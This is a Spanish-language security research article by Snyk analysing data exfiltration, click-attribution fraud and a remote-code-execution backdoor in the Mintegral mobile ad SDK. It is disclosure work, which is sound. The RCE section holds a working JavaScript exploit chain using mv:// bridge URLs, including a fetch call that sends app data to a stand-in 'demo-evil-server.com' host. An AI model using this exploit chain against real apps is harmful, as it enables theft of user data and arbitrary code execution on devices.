Skip to main content

Investigación sobre el SDK malicioso SourMint

Escrito por
Headshot of Kirill Efimov

Kirill Efimov

feature research

16 de octubre de 2020

0 minutos de lectura

Descripción general

Recopilación excesiva de datos en iOS [agosto de 2020]

Ejecución remota de código (RCE) en iOS [octubre de 2020]

Seguimiento de descargas en Android [octubre de 2020]

Línea de tiempo

Descripción general

Mintegral SDK es un SDK de publicidad para aplicaciones móviles muy popular, disponible para iOS y Android. Lo usan miles de aplicaciones móviles, con más de mil millones de descargas al mes. Los desarrolladores de aplicaciones usan el SDK para monetizar sus apps con anuncios de terceros.

El equipo de investigación de seguridad de Snyk realizó dos divulgaciones importantes sobre Mintegral SDK. La primera divulgación se publicó en agosto de 2020 y detectó la recopilación excesiva de datos y el secuestro de clics en la versión del SDK para iOS. La segunda divulgación detectó una puerta trasera en la versión del SDK para iOS que permite la ejecución remota de código, además de nuevos hallazgos sobre la versión para Android.

El objetivo de este artículo es compartir los detalles técnicos de nuestra investigación y nuestros hallazgos, más allá de lo que se abordó en las publicaciones del blog.

Este análisis se divide en tres secciones:

  • Recopilación excesiva de datos, incluida la interceptación y el registro de todas las solicitudes HTTP en el SDK para iOS —publicado originalmente el 24 de agosto de 2020—, describe las capacidades de seguimiento de URL y solicitudes en la versión de Mintegral SDK para iOS.

  • Una puerta trasera en la versión del SDK para iOS permite la ejecución remota de código: describe las capacidades de ejecución remota de código de MintegralAdSDK, publicadas el 15 de octubre de 2020.

  • Seguimiento de URL de descargas en Android: describe varios hallazgos en la versión de Mintegral SDK para Android.

Recopilación excesiva de datos en iOS [agosto de 2020]

Descripción general

Esta parte de la investigación se realizó sobre la versión binaria de Mintegral iOS SDK, ya que en agosto de 2020 todavía no teníamos acceso a la versión de código abierto. La investigación se realizó con la versión 6.3.5.0 del SDK (para arquitectura x86), disponible para descargar en GitHub.

Identificamos que las versiones 5.5.1 y posteriores de Mintegral iOS SDK contienen funciones maliciosas que provocan la filtración de información. En pocas palabras, el SDK espía los clics de los usuarios en enlaces y la actividad de red dentro de las aplicaciones afectadas. El espionaje ocurre incluso si el desarrollador o la plataforma de mediación de anuncios no habilitaron el SDK, y este intenta ocultar el comportamiento malicioso detectando proxies, simuladores y dispositivos con jailbreak.

Intercambio de métodos

Mintegral SDK usa una técnica llamada intercambio de métodos para reemplazar, durante la ejecución, las implementaciones de los métodos UIApplication openURL y SKStoreProductViewController loadProductWithParameters. También registra una clase NSURLProtocol personalizada.

Estos hooks se usan para espiar a los usuarios de las aplicaciones y enviar toda la información sobre las solicitudes HTTP, las URL abiertas y los enlaces de App Store en los que hacen clic dentro de la aplicación.

Los encabezados y las URL de las solicitudes HTTP podrían contener datos confidenciales, pero, junto con el IDFA (identificador para anunciantes), permiten que Mintegral cometa fraude de atribución de anuncios.

Fraude de atribución de anuncios

Para monetizar sus aplicaciones, los desarrolladores suelen instalar plataformas publicitarias. Estas plataformas reciben ingresos de los anunciantes por cada instalación que ocurre después de que un usuario hace clic en un anuncio. No es raro que los desarrolladores usen varias plataformas publicitarias en sus aplicaciones. Por eso, para determinar a qué plataforma publicitaria se debe atribuir una instalación, cada clic se registra con un proveedor de atribución, es decir, una plataforma de medición móvil (MMP).

La siguiente figura muestra cómo funciona la actividad maliciosa de Mintegral. En este ejemplo, el usuario hizo clic en un anuncio de “Otra plataforma”. Pero, como Mintegral puede interceptar todas las URL que abre la aplicación, podría enviar solicitudes adicionales a un proveedor de atribución, fingiendo que el clic se produjo en uno de sus anuncios. El proceso completo funciona así:

  1. El usuario hace clic en un enlace de un anuncio dentro de una aplicación, publicado por una red publicitaria que no es Mintegral, para instalar una nueva aplicación desde App Store.

  2. El SDK de la red publicitaria envía la información del clic a su plataforma de backend.

  3. Tras interceptar el evento de clic mediante código inyectado en los controladores de eventos de iOS a través del intercambio de métodos, Mintegral registra los datos del clic en su servidor.

  4. La red publicitaria registra una notificación de clic con el proveedor de atribución.

  5. Mintegral también registra una notificación de clic con el proveedor de atribución.

Cuando el proveedor de atribución intenta asociar el evento de instalación con las notificaciones de clic registradas, encuentra dos coincidencias. Al usar un modelo de atribución de último contacto, se atribuye la instalación a la notificación de clic de Mintegral y se rechaza la de la otra red publicitaria.

Diagrama que muestra el flujo de seguimiento de una aplicación móvil entre la App Store, un proveedor de atribución, otra plataforma y Mintegral, con flechas numeradas del 1 al 5.

Snyk trabajó con un importante proveedor de atribución para confirmar que Mintegral usa los datos de clics para generar notificaciones de clic falsas. Durante su investigación, el proveedor pudo demostrar que se generaban notificaciones falsas y que esto provocaba que se atribuyeran incorrectamente a Mintegral los clics en anuncios.

Aplicación de demostración

Para demostrar el ataque, configuramos una aplicación de demostración. Esta mostrará el hook malicioso de openURL en acción. Usamos un proxy de depuración para interceptar todo el tráfico de red.

Para inicializar la aplicación, usamos el siguiente fragmento de código de la documentación de Mintegral:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Con el SDK inicializado, abrimos example.com desde la aplicación al hacer clic en un botón:

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Después de iniciar la aplicación, vemos de inmediato un par de solicitudes de Mintegral SDK en nuestro proxy:

Aplicación de iPhone que muestra botones coloridos para detectar URL e interceptaciones en tiempo de ejecución, junto a Charles Proxy, que muestra parámetros de solicitud y datos de consulta

Configuración

La respuesta de _https://setting.rayjump.com/setting es un objeto JSON con muchas opciones distintas. En la siguiente tabla se describen los campos más relevantes para nuestra investigación.

Campo JSON

Descripción

csw

Habilita o deshabilita la funcionalidad antidepuración.

cou

Habilita o deshabilita el hook del método openURL.

cdai

URL a la que se envía la información filtrada (*).

cspn

Habilita o deshabilita el hook en los métodos de StoreKit.

cud

Habilita o deshabilita el hook en NSURLProtocol.

cudl

Arreglo de URL para seguimiento mediante NSURLProtocol (**).

* En nuestro caso era LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh=, que, tras decodificarlo, corresponde a https://n.systemlog.me/log.

** En nuestro caso era kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==, que, tras decodificarlo, corresponde a ["itunes.apple.com","apps.apple.com"].

Decodificación de la carga útil

Después de hacer clic en el botón que abre example.com, vemos dos solicitudes más. La primera es una solicitud GET a http://example.com, como esperaríamos. La segunda es una solicitud POST a https://n.systemlog.me/log.

Aplicación de iPhone que muestra opciones de detección de hooks junto a Charles Proxy, donde se ve una solicitud POST con una carga útil codificada extensa

El cuerpo de la solicitud parece estar codificado en base64. Pero, en realidad, no es una cadena codificada en base64. Mintegral SDK implementa su propia lógica de codificación y decodificación, que se encuentra en +[MTGBase base64DecodeString:] y +[MTGBase base64CleverDecodeString:]. Ten en cuenta que MTGBase no está expuesta en los encabezados públicos del SDK y no está diseñada para que los desarrolladores puedan acceder a ella.

Usamos el siguiente fragmento de código para decodificar la carga útil:

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Captura de pantalla de una terminal que muestra una carga útil decodificada con metadatos del dispositivo y fragmentos de código de una aplicación para iOS

La carga útil contiene muchos datos, como IDFA, IDFV, la versión del sistema operativo, el agente de usuario y más. Sin embargo, también incluye un campo llamado “clever” que, una vez más, está codificado. Podemos decodificarlo con base64DecodeString:

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Como puedes ver, contiene la URL, el seguimiento de la pila y algunos datos adicionales, como el controlador y el nombre del método.

Un análisis más profundo

Como mencionamos antes, Mintegral SDK es de código cerrado. Analizaremos la versión 6.3.5.0 para arquitectura x86.

El binario es un ejecutable Mach-O que contiene varios binarios adicionales. El código que nos interesa está en _CXX_CXX_OperationPKTask.o.

Al revisar la clase, vemos +[_CXX_CXX_OperationPKTask load], que se ejecuta automáticamente cuando la clase se agrega durante la ejecución. Esto significa que, si el SDK se instala mediante CocoaPods, la lógica maliciosa se inicializa independientemente de si los desarrolladores usan el SDK.

El método load realiza una serie de llamadas que nos llevan a ___cxxwebk_init_vw. Este método comprueba si la marca de protección antidepuración está habilitada e inicializa los hooks si la marca está desactivada o si la depuración está deshabilitada.

Código desensamblado y anotado que muestra una llamada de protección antidepuración CSW, C0U y referencias a cspn.

La inicialización de los hooks depende de la solicitud de configuración mencionada anteriormente. En la siguiente tabla se muestran las relaciones entre los campos de respuesta JSON y la clase MTGSetting:

Campo JSON

Propiedad de MTGSetting

Descripción

csw

cSrtW

Habilita o deshabilita la funcionalidad antidepuración.

cou

cOpenURL

Habilita o deshabilita el hook del método openURL.

cspn

cPackageName

Habilita o deshabilita el hook en los métodos de StoreKit.

Lógica antidepuración

Captura de pantalla de código oscuro con anotaciones rojas que señalan “/Applications/Cydia.app” y “/Library/MobileSubstrate/MobileSubstrate.dylib”.

La función __cxx_cxx_op_isInSuperViewFrame devuelve true en los siguientes casos:

  • La plataforma del dispositivo es un “simulador”.

  • Hay un depurador conectado (implementado en ____mvpmvvm_isDebuggerAttached_block_invoke).

  • Uno de los siguientes archivos está presente en el dispositivo (indicio de jailbreak):

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • El proxy está habilitado (mediante CFNetworkCopySystemProxySettings).

Intercambio del método openURL

La lógica de la siguiente captura de pantalla está implementada en el método ___cxxwebkmcouitninapo, al que se llama desde ___cxxwebk_init_vw si la marca correspondiente está habilitada.

Editor de código con tema oscuro que muestra el código fuente de Objective-C para una implementación del método NSURL openURL.

"blog-sour-mint-openurl-method-swirl" - La captura de pantalla anterior muestra la implementación del intercambio de métodos. Realiza las siguientes llamadas:

  1. NSSelectorFromString para obtener un selector del método “openURL:”.

  2. NSClassFromString para obtener un descriptor de clase de UIApplication.

  3. class_getInstanceMethod para obtener el descriptor del método.

  4. method_getImplementation para obtener la implementación real del método.

  5. Luego definen un bloque de código que llama a _____cxxwebkmcouitninapo_block_invoke_2 y después llama al openURL original.

  6. method_setImplementation para reemplazar el openURL original por el bloque de código del paso anterior.

Casi lo mismo ocurre con el método openURL:options:completionHandler:, excepto que antes comprueban la versión del sistema (el controlador se introdujo por primera vez en iOS 10).

En este punto, ya vimos cómo se aplica el hook. A continuación, veremos su implementación (_____cxxwebkmcouitninapo_block_invoke_2).

Implementación del hook de openURL

En la práctica, la implementación se encuentra en el método ___cxxwebkmcoulsz. Allí vemos otra llamada de comprobación antidepuración; luego comprueba la marca __mc_notifyInHouse y no hace nada si su valor es 1.

Esto se hace para ignorar todos los enlaces de marketing en los que hace clic un usuario en un anuncio publicado por Mintegral. En la captura de pantalla siguiente vemos la lógica correspondiente en +[MTGBase mtgOpenURL:options:completionHandler:]:

Editor de código oscuro que muestra la implementación de un método Objective-C para MTGBase, con llamadas para obtener información del dispositivo, la versión del sistema y la memoria, y para enviar notificaciones de la aplicación.

El siguiente fragmento de código muestra que también serializan los datos de seguimiento de la pila y los filtran en la carga útil que envían a https://n.systemlog.me/log.

Podemos establecer un punto de interrupción en la llamada +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]. En la siguiente captura de pantalla puedes ver los argumentos de la llamada:

Depurador que muestra código ensamblador y una pila de llamadas para el método openURLWithOptions de un ViewController en una app de iOS
  • La URL que se abrió (http://example.com?foo=bar&x=y).

  • La clase en la que ocurrió el clic (ViewController).

  • El método desde el que se produjo el clic (openURLWithOptions:).

  • Información de seguimiento de la pila.

Otra función interesante es _nsh_id_by_cc, que parece encargarse de identificar los SDK de la competencia. La lógica relevante se muestra en la siguiente captura de pantalla:

Editor de código con tema oscuro que muestra código Objective-C descompilado con referencias a GADCategories y servicios relacionados con anuncios

Al volver a +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:], después de codificar la carga mediante +[MTGBase base64EncodeString:], se crea un nuevo bloque de código y se usa _dispatch_async para invocarlo.

Esto da lugar a una serie de llamadas con transformaciones adicionales de la carga y termina en -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:], que envía una solicitud POST a collectDomainUrl de MTGSetting, cuyo valor predeterminado es https://n.systemlog.me/log.

Un video que muestra cómo se puede filtrar una URL privada.

A demonstration of the SourMint Malicious SDK from Mintegral

Hook de SKStoreProductViewController

SKStoreProductViewController es un controlador de vista que ofrece una página donde el usuario puede comprar contenido multimedia en App Store.

El método loadProductWithParameters:completionBlock: carga una nueva pantalla de producto para mostrar.

En lugar de entrar en detalles técnicos sobre la implementación del hook, agregamos el siguiente fragmento de código a la aplicación de demostración:

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];

Como resultado, vemos una solicitud POST a https://n.systemlog.me/log con la siguiente carga en el campo “clever”:

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}] 

Como podemos ver, el ID del producto está en la solicitud. Caso cerrado.

Hook de NSURLProtocol

La clase NSURLProtocol permite a los desarrolladores redefinir el funcionamiento del sistema de carga de URL de Apple. El SDK de Mintegral registra una implementación maliciosa de NSURLProtocol, que se puede configurar de forma remota para interceptar cualquier solicitud saliente de una aplicación y rastrear URL y encabezados HTTP, incluido el encabezado Authorization.

Para los desarrolladores de aplicaciones, esto significa que Mintegral podría recopilar tokens de API, cookies y encabezados de autenticación básica.

Para entender cómo el SDK activa esa parte del código malicioso, debemos volver a ___cxxwebk_init_vw.

Captura de pantalla de código oscuro que muestra código del entorno de ejecución de Objective-C, con anotaciones rojas que señalan “cud”, “cudl” y “NSURLProtocol hook init”.

La captura de pantalla anterior muestra que la marca cud debe estar habilitada y que el arreglo cudl no debe estar vacío para activar el hook.

La siguiente captura de pantalla muestra parte de la función ___cxxwebkterisiuuxx, llamada desde el método anterior.

Editor de código oscuro que muestra código de ejecución de Objective-C con referencias a clases y selectores

El código de la función ___cxxwebkterisiuuxx realiza las siguientes acciones:

  1. Crea una clase que hereda de NSURLProtocol (objc_registerClassPair, objc_allocateClassPair).

  2. Agrega una implementación para canInitWithRequest:, que funciona como interceptor (class_addMethod).

  3. Llama a +[NSURLProtocol registerClass:] para registrar la clase en el sistema de carga de URL.

En nuestra investigación, agregamos el siguiente fragmento de código para verificar qué datos recopila el código malicioso:

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Como resultado, vemos una solicitud POST a https://n.systemlog.me/log con la siguiente carga en el campo “clever”:

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

En la solicitud podemos ver la URL y el encabezado de autorización. Aunque no se incluye el cuerpo de la solicitud, los encabezados suelen contener datos confidenciales. Incluso podrían incluir información de identificación personal. Por ejemplo, si una API usa tokens JWT, estos podrían contener el correo electrónico o el nombre de usuario.

Conclusión

Durante la investigación, observamos muchas técnicas interesantes que los desarrolladores de Mintegral usan para ocultar el comportamiento malicioso de su SDK. Como podemos ver, activan los hooks solo en aplicaciones específicas y en regiones específicas, lo que permitió que el código malicioso permaneciera allí más de un año sin llamar la atención.

En cuanto a la cronología, la primera versión (5.5.1) del SDK malicioso se publicó el 17 de julio de 2019. Descubrimos que todas las versiones posteriores incluían la misma funcionalidad maliciosa.

Muchas aplicaciones populares se vieron afectadas por la actividad maliciosa de este SDK. Esperamos que esta investigación, al arrojar luz sobre la situación, impulse un mayor escrutinio y mejores controles de privacidad para las redes de anunciantes en el futuro.

Ejecución remota de código (RCE) en iOS [octubre de 2020]

Resumen

Descubrimos que la clase MTGBaseBridgeWebView, que se usa en todo el SDK para comunicarse con JavaScript, funciona como una puerta trasera que permite invocar funciones arbitrarias desde el código nativo de la aplicación.

Diagrama que muestra un servidor enviando datos privados de usuarios y una carga útil de banner malicioso a una aplicación móvil, con código nativo y un banner en el UIWebView de Mintegral.

En la imagen de arriba se muestra un esquema simplificado de la ejecución remota de código.

Análisis de diferencias

Después de nuestra primera divulgación pública, Mintegral anunció el lanzamiento de una versión de código abierto del SDK.

Comparamos la nueva versión de código abierto con la versión binaria anterior, distribuida como cocoapod. Aunque no teníamos el código fuente de la versión anterior, podíamos comparar los nombres de las clases. Para ello, extrajimos los archivos .o de los binarios y comparamos los símbolos con los archivos .h de la versión de código abierto.

Como esperábamos, se eliminó el componente malicioso _CXX_CXX_OperationPKTask que habíamos descubierto anteriormente, pero el análisis de diferencias reveló algo más. Las siguientes clases nos llamaron la atención:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Decidimos analizar los binarios más de cerca para entender para qué se usaban esos archivos.

Versiones afectadas

Todas las versiones de MintegralAdSDK hasta 6.5.0.0 inclusive. La versión 6.6.0.0, publicada el 10 de septiembre de 2020, no tiene la funcionalidad de puerta trasera que se describe en este artículo.

Implementación del puente

Empezamos por buscar dónde se usa la clase MTGRemoteCommandParser y encontramos un solo lugar: -(void)handleNativeObject:parameters: en la clase MTGBaseBridgeWebView.

En la implementación vemos que -(void)handleNativeObject:parameters: usa MTGRemoteCommandParser para analizar el argumento parameters e invoca el método -(void)dispatchCommand:feedback: de la clase MTGCommandDispatcher.

A primera vista, parece que -(void)handleNativeObject:parameters: no se usa, pero no es así. Veamos cómo se puede invocar desde código JavaScript.

MTGBaseBridgeWebView implementa el método -(void)webView:decidePolicyForNavigationAction:decisionHandler: del protocolo WKNavigationDelegate. Este método se llama cada vez que se produce una navegación en la vista web. Esto significa que podemos activarlo desde JavaScript con solo llamar a location.href=something. En la versión de código abierto del SDK encontramos una expresión regular que analiza las URL de las solicitudes de navegación: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Editor de código con tema oscuro que muestra código Objective-C que analiza una URL mV con una expresión regular y extrae el nombre de la función, el ID y los parámetros.

-(void)callFunctionWithName:fucId:param: en la captura de pantalla anterior simplemente realiza una llamada a self con el selector fucName.

Por lo tanto, para llamar a -(void)handleNativeObject:parameters: de MTGBaseBridgeWebView, necesitamos esta línea de código JavaScript: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Ten en cuenta que todo lo que describimos anteriormente sigue siendo válido en la versión más reciente del SDK al momento de escribir este artículo, así como en la versión de código abierto. La única excepción es que -(void)handleNativeObject:parameters: se eliminó de las versiones más recientes.

Invocación de métodos remotos

No describiremos la implementación completa de MTGInvocationBoxing ni de las demás clases. En su lugar, mostraremos cómo se puede crear código JavaScript malicioso para activar el método remoto.

La siguiente prueba de concepto ataca una aplicación de «notas simples» que tiene una clase NoteRepository con dos métodos: +(void)save: y +(NSString*)load.

Inyectamos el código JavaScript malicioso al reemplazar el servidor de Mintegral por nuestra propia implementación del servidor. El código fuente completo de esta aplicación y del servidor está disponible aquí .

El código JavaScript malicioso para esta aplicación es el siguiente:

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Valor

Decodificado

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Este código llamará al método +(NSString*)load de la clase NoteRepository y enviará el resultado a nuestro endpoint demo-evil-server.com/log.

Usa las mismas técnicas de ofuscación que se describen en la sección anterior. Sin embargo, la prueba de concepto ya incluye código JavaScript para codificar y decodificar (consulta banner.html).

Obtener ejecución remota de código (RCE) completa

En el ejemplo anterior vimos cómo se puede usar el SDK para invocar cualquier método estático de una clase arbitraria. En esta sección mostraremos cómo aprovechar esto para ejecutar cualquier código nativo.

Para la demostración, mostraremos cómo crear un UIAlertController con el mensaje "PWNED!".

Veamos el siguiente código de Objective-C como referencia:

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Debemos averiguar cómo crear y conservar una instancia de UIAlertController entre llamadas, cómo obtener una instancia compartida de la aplicación y cómo llamar a presentViewController:animated:completion: con esa instancia.

Paso 1: Guardar una referencia a la clase UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

MTGRemoteCommandParser admite dos tipos de referencias a objetos:

  • static: obtiene una referencia a un objeto de clase por nombre.

  • singleton: realiza varios pasos:

    1. Obtiene una clase por nombre (MTGSetting en nuestro ejemplo).

    2. Ejecuta el método sharedInstance en la clase. En Objective-C: [MTGSetting sharedInstance].

    3. Usa valueForKey: para obtener propiedades separadas por puntos. En nuestro caso, sería [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Ten en cuenta que jsonTitles es solo una instancia de NSMutableDictionary. En el exploit se usa como almacenamiento temporal para nuestras referencias. MTGRemoteCommandParser admite los siguientes tipos de parámetros:

  • 0: número.

  • 1: referencia.

  • 2: cadena.

  • 4: nil.

El tipo de referencia (1) nos permite pasar una referencia a un objeto como argumento de un método. Es importante tener en cuenta que uniqueIdentifier se analiza exactamente igual que un uniqueIdentifier de nivel superior; por lo tanto, también admite el tipo singleton.

Paso 2: Asignar una nueva instancia de la clase UIAlertController

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

En este caso, toda la magia ocurre en singleton_MTGSetting.jsonTitles.a.alloc.init. Como ya sabemos, singleton_MTGSetting.jsonTitles.a nos proporciona una referencia a la clase UIAlertController. Pero debemos averiguar por qué funciona [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"]. En la documentación de valueForKey: encontramos lo siguiente:

El patrón de búsqueda que valueForKey: usa para encontrar el valor correcto que debe devolver se describe en Patrones de búsqueda de accesores de Guía de programación de codificación de valores clave.

Descubrimos que valueForKey: puede llamar a cualquier método por nombre si no tiene argumentos.

Así, ahora podemos crear una nueva instancia de la clase UIAlertController, a la que hará referencia la propiedad b del diccionario jsonTitles.

Paso 3: Configurar el mensaje "PWNED!"

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Este paso es bastante obvio: llamamos a setMessage: en la instancia de UIAlertController para configurar el mensaje PWNED!.

Paso 4: Guardar una referencia a la clase UIApplication

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
        {'type': 1, 'value': {'uniqueIdentifier': 'hbxtJ7QU+25zN+SMY7QUD+xuYF9='}}, // static_UIApplication
        {'type': 2, 'value': 'x' }
    ]
});

Este paso es similar al paso 1. Debemos guardar la referencia a la clase UIApplication en jsonTitles.x.

Paso 5: Mostrar la alerta

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    // singleton_MTGSetting.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP9WgfED+zQHjcMh7euDFcTLkK\/WrwQ45JuYrxXJBPBYFKT5rQQJTfXYgxBYFesH+R=',
    // presentViewController:animated:completion:
    'name': 'hdzQhF5\/JcHuH+JaYFPThrKsY75BGrc\/Lk2tJ753GrfXY+SsH+xuYF91',
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.b
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0'}
        },
        {'type': 0, 'value': 1},
        {'type': 4} // nil
    ]
});

Este paso parece complicado, pero solo utiliza varias técnicas de los pasos anteriores. En código Objective-C sería así:

[MTGSetting.sharedInstance.jsonTitles.x.sharedApplication.keyWindow.rootViewController
    presentViewController:MTGSetting.sharedInstance.jsonTitles.b // this is out instance of UIAlertController
    animated: 1
    completion: nil
];

En este punto, demostramos cómo mostrar una alerta mediante la ejecución remota de código. Puedes encontrar la carga completa aquí. Para ejecutar los pasos uno por uno, creamos un arreglo de acciones y ejecutamos cada acción en la devolución de llamada window.WindVane.onSuccess (es decir, después de que se completara la acción anterior).

Un video que muestra cómo se puede filtrar el contenido del portapapeles al distribuir el exploit mediante un anuncio malicioso.

Remote Code Execution using Mintegral's MTGInvocationBoxing

Origen del exploit de JavaScript

Ya vimos cómo el SDK de Mintegral permite la ejecución remota de código nativo mediante código JavaScript. Sin embargo, Mintegral tiene el control total de ese código JavaScript. Pero, curiosamente, es posible lograr lo mismo mediante anuncios interactivos creados por los propios anunciantes. Los anuncios son páginas web basadas en JavaScript.

En teoría, un anunciante puede dirigir con precisión un anuncio malicioso que contiene el exploit de JavaScript a un grupo específico de usuarios o a un conjunto específico de dispositivos.

Conclusión

Solo podemos especular sobre por qué Mintegral incluyó en su SDK la capacidad de invocar métodos nativos de forma remota, pero, por los nombres de las clases, como MTGCommandDispatcher y MTGRemoteCommand, creemos que fue intencional. Además, Mintegral eliminó el código inmediatamente después de nuestra publicación, aunque en ese momento no teníamos conocimiento de ello.

Seguimiento de descargas en Android [octubre de 2020]

Resumen

En las dos secciones anteriores de este artículo de investigación, contamos cómo el equipo de seguridad de Snyk descubrió un comportamiento malicioso en el SDK de Mintegral que puede explotarse en dispositivos iOS y dar lugar a fraude publicitario, filtración de datos y ejecución remota de código (RCE). Queríamos investigar más la distribución del SDK para Android; eso es lo que abordaremos en esta sección. En resumen, estos son nuestros principales hallazgos:

  1. Seguimiento de los URI de descarga de Google, que afecta tanto las descargas en el navegador como en las aplicaciones, incluidas las descargas habituales de archivos, los archivos adjuntos de correo electrónico y los enlaces de Google Docs.

  2. Seguimiento de todas las descargas de APK, tanto orgánicas como no orgánicas.

Estos datos se envían a los servidores de Mintegral.

Comportamiento observado

Al descargar un enlace de Google Docs, observamos que la aplicación enviaba las siguientes solicitudes a https://n.systemlog.me:

Herramienta de seguridad web que muestra una solicitud POST sin procesar con datos codificados en URL enviados a n.systemlog.me

